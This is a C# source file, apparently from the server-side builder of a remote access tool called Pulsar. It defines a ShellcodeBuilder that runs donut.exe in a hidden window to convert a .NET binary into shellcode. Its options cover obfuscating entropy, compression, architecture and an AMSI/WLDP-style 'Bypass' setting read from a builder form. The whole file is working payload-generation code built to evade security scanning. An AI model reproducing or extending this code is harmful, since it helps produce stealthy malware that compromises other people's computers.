174 lines
4.9 KiB
C#
174 lines
4.9 KiB
C#
using System;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Collections.Generic;
|
|
using System.Windows.Forms;
|
|
using Pulsar.Server.Forms;
|
|
|
|
namespace Pulsar.Server.Helper
|
|
{
|
|
public enum EntropyLevel
|
|
{
|
|
None = 1,
|
|
Random = 2,
|
|
RandomSymmetric = 3
|
|
}
|
|
|
|
public enum Architecture
|
|
{
|
|
x86 = 1,
|
|
amd64 = 2,
|
|
Both = 3
|
|
}
|
|
|
|
public enum Format
|
|
{
|
|
Binary = 1,
|
|
Base64 = 2,
|
|
C = 3,
|
|
Ruby = 4,
|
|
Python = 5,
|
|
Powershell = 6,
|
|
CSharp = 7,
|
|
Hex = 8
|
|
}
|
|
|
|
public enum Compress
|
|
{
|
|
None = 1,
|
|
aPLib = 2,
|
|
LZNT1 = 3,
|
|
Xpress = 4
|
|
}
|
|
|
|
public enum Bypass
|
|
{
|
|
None = 1,
|
|
Abort = 2,
|
|
Continue = 3
|
|
}
|
|
|
|
public enum Headers
|
|
{
|
|
Overwrite = 1,
|
|
Keep = 2
|
|
}
|
|
|
|
public static class ShellcodeBuilder
|
|
{
|
|
public static byte[] GenerateShellcode(
|
|
string binaryPath,
|
|
string entryClass,
|
|
string entryMethod,
|
|
string outputBinPath,
|
|
bool deleteOutput = true,
|
|
string donutExePath = "",
|
|
string clrVersion = "",
|
|
EntropyLevel entropy = EntropyLevel.RandomSymmetric,
|
|
Architecture arch = Architecture.Both,
|
|
Format format = Format.Binary,
|
|
Headers headers = Headers.Overwrite
|
|
)
|
|
{
|
|
if (string.IsNullOrEmpty(donutExePath))
|
|
donutExePath = Path.Combine(Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location), "donut.exe");
|
|
|
|
if (!File.Exists(donutExePath))
|
|
throw new FileNotFoundException("donut.exe not found", donutExePath);
|
|
|
|
if (!File.Exists(binaryPath))
|
|
throw new FileNotFoundException("Input Binary not found", binaryPath);
|
|
|
|
Compress compression = GetCompressionFromForm();
|
|
Bypass bypass = GetBypassFromForm();
|
|
|
|
List<string> args = new List<string>
|
|
{
|
|
$"-e {(int)entropy}",
|
|
$"-a {(int)arch}",
|
|
$"-i {binaryPath}",
|
|
$"-c {entryClass}",
|
|
$"-m {entryMethod}",
|
|
$"-o {outputBinPath}",
|
|
$"-f {(int)format}",
|
|
$"-z {(int)compression}",
|
|
$"-b {(int)bypass}",
|
|
$"-k {(int)headers}",
|
|
};
|
|
|
|
if (!string.IsNullOrEmpty(clrVersion))
|
|
args.Add($"-r {clrVersion}");
|
|
|
|
ProcessStartInfo psi = new ProcessStartInfo
|
|
{
|
|
FileName = donutExePath,
|
|
Arguments = string.Join(" ", args),
|
|
RedirectStandardOutput = true,
|
|
RedirectStandardError = true,
|
|
UseShellExecute = false,
|
|
CreateNoWindow = true,
|
|
WindowStyle = ProcessWindowStyle.Hidden
|
|
};
|
|
|
|
using (Process proc = Process.Start(psi))
|
|
{
|
|
proc.WaitForExit();
|
|
if (proc.ExitCode != 0)
|
|
{
|
|
string stdout = proc.StandardOutput.ReadToEnd();
|
|
string stderr = proc.StandardError.ReadToEnd();
|
|
throw new InvalidOperationException($"Donut failed (exit {proc.ExitCode})\nSTDOUT: {stdout}\nSTDERR: {stderr}");
|
|
}
|
|
}
|
|
|
|
try
|
|
{
|
|
byte[] bytes = File.ReadAllBytes(outputBinPath);
|
|
if (deleteOutput)
|
|
File.Delete(outputBinPath);
|
|
|
|
return bytes;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
throw new InvalidOperationException($"Failed to read generated shellcode: {ex.Message}");
|
|
}
|
|
}
|
|
|
|
private static Compress GetCompressionFromForm()
|
|
{
|
|
FrmBuilder form = GetBuilderForm();
|
|
string compressionText = form.comboBox1.Text;
|
|
return ConvertCompressionTextToEnum(compressionText);
|
|
}
|
|
|
|
private static Bypass GetBypassFromForm()
|
|
{
|
|
FrmBuilder form = GetBuilderForm();
|
|
return form.checkBox2.Checked ? Bypass.Continue : Bypass.None;
|
|
}
|
|
|
|
private static FrmBuilder GetBuilderForm()
|
|
{
|
|
foreach (Form form in Application.OpenForms)
|
|
{
|
|
if (form is FrmBuilder builderForm)
|
|
return builderForm;
|
|
}
|
|
|
|
throw new InvalidOperationException("FrmBuilder form not found or not accessible");
|
|
}
|
|
|
|
private static Compress ConvertCompressionTextToEnum(string compressionText)
|
|
{
|
|
return compressionText switch
|
|
{
|
|
"None" => Compress.None,
|
|
"aPLib" => Compress.aPLib,
|
|
"LZNT1" => Compress.LZNT1,
|
|
"Xpress" => Compress.Xpress,
|
|
_ => throw new ArgumentException($"Invalid compression type: {compressionText}")
|
|
};
|
|
}
|
|
}
|
|
} |